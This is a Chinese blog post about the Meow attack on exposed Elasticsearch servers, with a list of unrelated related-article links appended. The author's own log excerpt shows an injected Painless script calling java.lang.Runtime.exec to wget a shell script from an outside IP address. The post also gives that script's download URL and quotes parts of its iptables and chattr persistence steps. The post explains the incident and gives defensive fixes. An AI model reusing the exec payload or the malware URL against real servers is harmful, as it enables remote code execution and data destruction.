07月29日,早上照例一来,先连接Elasticsearch查看日志【禁止转载,by @CoderBaby】,结果,咦,什么情况,相关索引被删除了,产生了一堆以Meow开头的奇奇怪怪的索引,如下图:

一阵紧张、懵逼,赶紧查看日志,发现如下问题:系统在远程连接并下载执行一个脚本,如下(慌张):

[--28T14::,][DEBUG][o.e.a.s.TransportSearchAction]  [m3egspncll-meow][], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=, batchedReduceSize=, preFilterShardSize=, source={
"size" : ,
"script_fields" : {
"lupin" : {
"script" : {
"source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh -P /tmp/sssooo\").getText()",
"lang" : "painless"
},
"ignore_failure" : false
}
}
}}] lastShard [true]

查看整个脚本,可以看到,里面在修改防火墙配置、串改系统安全加固、设置watchdog等等(害怕),部分脚本相关代码如下(相关脚本,截止目前可到:http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh  下载):

    chmod  /tmp/networkservice
chattr +i /tmp/networkservice
chmod /tmp/sysguard
chattr +i /tmp/sysguard iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload

然后一通google,发现腾讯安全和国外一个安全的哥们以发现此问题,如下(截止7月24日,他们发现已经有1779个Elasticsearch和MongoDB受到攻击):

可以去作者Twitter账号(梯子请自备  https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F)关注Meow攻击的后续进展,截止笔者发稿(8月5日),还有最新的进展:

【后续进展】

7月27号,攻击者会让受害者转到一个支付链接:

7月28号,有更多的受害者的数据被删除:

【问题原因】

Elasticsearch默认会对外开放9200端口,便于远程通过插件(如Elasticsearch-head)访问和管理。连接到服务器端口的任何个人和组织,就可以通过调用相应的API进行增删改查。

解决方案

(1)开启防火墙(service iptables start),或者关闭9200端口(iptables -A INPUT -p tcp --dport 9200 -j DROP),如需开放9200端口,建议在安全组限制只允许指定IP才能访问

(2)在config/elasticsearch.yml中为9200端口设置认证,相关配置参数可参考:

http.basic.enabled true #启动认证,开启会接管全部HTTP连接
http.basic.user "admin" #配置认证账号
http.basic.password "admin_pw" #配置认证密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名单

(3)使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证

后记

还好本人受攻击的只是测试服务器上的实验数据,后面果断公司卖出的服务器相关Elasticsearch开放端口全部关闭

*******************************************************************************

精力有限,想法太多,专注做好一件事就行

  • 我只是一个程序猿。5年内把代码写好,技术博客字字推敲,坚持零拷贝和原创
  • 写博客的意义在于打磨文笔,训练逻辑条理性,加深对知识的系统性理解;如果恰好又对别人有点帮助,那真是一件令人开心的事

*******************************************************************************

Meow 攻击会删除不安全(开放的)的Elasticsearch(及MongoDB) 索引,然后建一堆以Meow结尾的奇奇怪怪的索引(如:m3egspncll-meow)的更多相关文章

  1. Elasticsearch搜索资料汇总

    Elasticsearch 简介 Elasticsearch(ES)是一个基于Lucene 构建的开源分布式搜索分析引擎,可以近实时的索引.检索数据.具备高可靠.易使用.社区活跃等特点,在全文检索.日 ...

  2. Java,该学什么?

    本人大学学的是生物技术专业,毕业后入坑Java. 最近有人问我是如何转行的,需要学一些什么.我在网上看到一篇帖子,觉得写得很全.如果是我来写,可能还写不了这么全的.在此分享给网友. 2019秋招几个月 ...

  3. 【转】mysql数据库优化大全

    数据库优化 sql语句优化 索引优化 加缓存 读写分离 分区 分布式数据库(垂直切分) 水平切分 MyISAM和InnoDB的区别: 1. InnoDB支持事务,MyISAM不支持,对于InnoDB每 ...

  4. 基于netty的socket服务端触发了channelInactive方法,但实际连接没有断开的问题

    背景: 一个中小型H5游戏,后端使用基于 netty 的socket服务 服务端 分为 分发服务器 & 业务服务器,业务服务器可负载 用户客户端与分发服务器连接 分发服务器再作为客户端与每台业 ...

  5. 【数据库】Mysql中主键的几种表设计组合的实际应用效果

    写在前面 前前后后忙忙碌碌,度过了新工作的三个月.博客许久未新,似乎对忙碌没有一点点防备.总结下来三个月不断的磨砺自己,努力从独乐乐转变到众乐乐,体会到不一样的是,连办公室的新玩意都能引起莫名的兴趣了 ...

  6. mysql数据库优化大全

    转载:https://blog.csdn.net/weixin_38112233/article/details/79054661 数据库优化 sql语句优化 索引优化 加缓存 读写分离 分区 分布式 ...

  7. NOIP2017 列队——平衡树

    平衡树蒟蒻,敲了半天. 其实思路很简单,就是把许多个人合并成一个区间.必要的时候再拆开.(是不是和这个题的动态开点线段树有异曲同工之妙?) 每次操作最多多出来6个点. 理论上时间复杂度是nlogn,空 ...

  8. Mysql性能优化一:SQL语句性能优化

    这里总结了52条对sql的查询优化,下面详细来看看,希望能帮助到你 1, 对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引. 2,应尽量避免在 w ...

  9. mongodb学习(2)--- nodeJS与MongoDB的交互(使用mongodb/node-mongodb-native)

    转载:http://www.cnblogs.com/zhongweiv/p/node_mongodb.html 目录 简介 MongoDB安装(windows) MongoDB基本语法和操作入门(mo ...

随机推荐

  1. java 基本语法(七) 流程控制(四) 补充:Scanner类的使用

    /* 如何从键盘获取不同类型的变量:需要使用Scanner类 具体实现步骤: 1.导包:import java.util.Scanner; 2.Scanner的实例化:Scanner scan = n ...

  2. nodejs之数据库连接

    nodejs 对 MySQL.mongodb.redis 数据库的连接方式. MySQL: var mysql = require('mysql') var { MYSQL } = require(' ...

  3. linux中无法使用vim命令

    报:linux中  vim 不是内部指令! 解决: 1. rpm -qa | grep vim // 查看vim命令在什么软件包 出现 vim-minimal-7.4.160-4.el7.x86_64 ...

  4. 基于SSM框架的简单问答社区

    前言:学习了Spring.SpringMVC.MyBatis框架后,开发了一套简单的问答社区,前端采用Bootstrap开发框架. 版本信息 IDEA:2020.1.2 JDK:14.0.1 Mave ...

  5. It is indirectly referenced from required .class files错误查找的解决办法如下

    It is indirectly referenced from required .class files 原因:是JDK引入有问题导致的 解决方案:我之前是错误的引入成了JRE 坑哇!!!,改成如 ...

  6. node -v node is not define

    安装node js  踩过的坑 应该是在CMD 命令里执行 node -v 我却傻傻的跑到 node.js 里执行 node -v 结果就报 node is not define 真相如下图!!!

  7. Ethical Hacking - NETWORK PENETRATION TESTING(15)

    ARP Poisoning - arpspoof Arpspoof is a tool part of a suit called dsniff, which contains a number of ...

  8. 【JVM之内存与垃圾回收篇】JVM与Java体系结构

    JVM与Java体系结构 前言 作为Java工程师的你曾被伤害过吗?你是否也遇到过这些问题? 运行着的线上系统突然卡死,系统无法访问,甚至直接OOMM! 想解决线上JVM GC问题,但却无从下手. 新 ...

  9. git上传本地项目到gitlab

    <1>输入git config --global user.name "你的用户名" <2>输入git config --global user.email ...

  10. BUUCTF-web NiZhuanSiWei

    上源码: file_get_contents读文件,text参数用php://input发送字符串.file参数值为被包含文件的文件名 成功执行第一个if,紧接着用php://filter/read= ...